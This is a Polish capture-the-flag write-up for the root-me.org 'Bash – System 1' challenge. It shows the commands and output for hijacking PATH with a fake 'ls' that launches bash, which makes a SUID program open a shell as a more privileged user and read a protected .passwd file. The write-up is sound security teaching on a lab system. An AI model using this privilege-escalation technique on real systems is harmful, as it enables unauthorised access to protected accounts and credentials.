root-me.org zadanie: Bash – System 1

Dzisiaj pokażę wam rozwiązanie zadania „Bash – System 1”
Zadanie polega na tym, aby odczytać plik .passwd, do którego nie mamy uprawnień, ale oprogramowanie, które nam dali uprawnienia te ma, za pomocą SUID :).

A więc do dzieła 🙂

Na początek logujemy się podanymi danymi do SSH, poleceniem (hasło podane w zadaniu):

ssh -p 2222 [email protected]

Następnie po zalogowaniu widzimy kilka plików:

app-script-ch11@challenge02:~$ ls -l
total 16
-r--r----- 1 app-script-ch11-cracked app-script-ch11  494 May 19 18:29 Makefile
-r-sr-x--- 1 app-script-ch11-cracked app-script-ch11 7252 May 19 18:34 ch11
-r--r----- 1 app-script-ch11-cracked app-script-ch11  187 May 19 18:34 ch11.c

Z tego co jest napisane, na samej górze po zalogowaniu mamy informację, że /tmp i /var/tmp jest w trybie RW (czyli można tam coś zapisywać).

uruchamiamy program ch11:

./ch11 
/challenge/app-script/ch11/.passwd

i tak jak jest napisane w ch11.c (które możemy sprawdzić np. poleceniem less):

ls /challenge/app-script/ch11/.passwd

jest pokazane, że taki plik istnieje, jednak my chcemy go odczytać… jak to zrobić?

A gdyby tak podmienić komendę ls na np. /bin/bash?

uruchamiamy polecenie:

echo "/bin/bash" > /tmp/ls

które powoduje, że polecenie ls, jest zastępowane poleceniem /bin/bash 🙂

teraz zmieniamy PATH, aby najpierw brał te polecenie ls, a następnie dopiero z prawdziwej zmiennej środowiskowej 🙂

export PATH=/tmp:$PATH

i uruchamiamy nasz ./ch11 i jesteśmy w bash, ale zalogowani jako… app-script-ch11-cracked 🙂

teraz tylko robimy cat .passwd i już mamy hasło 🙂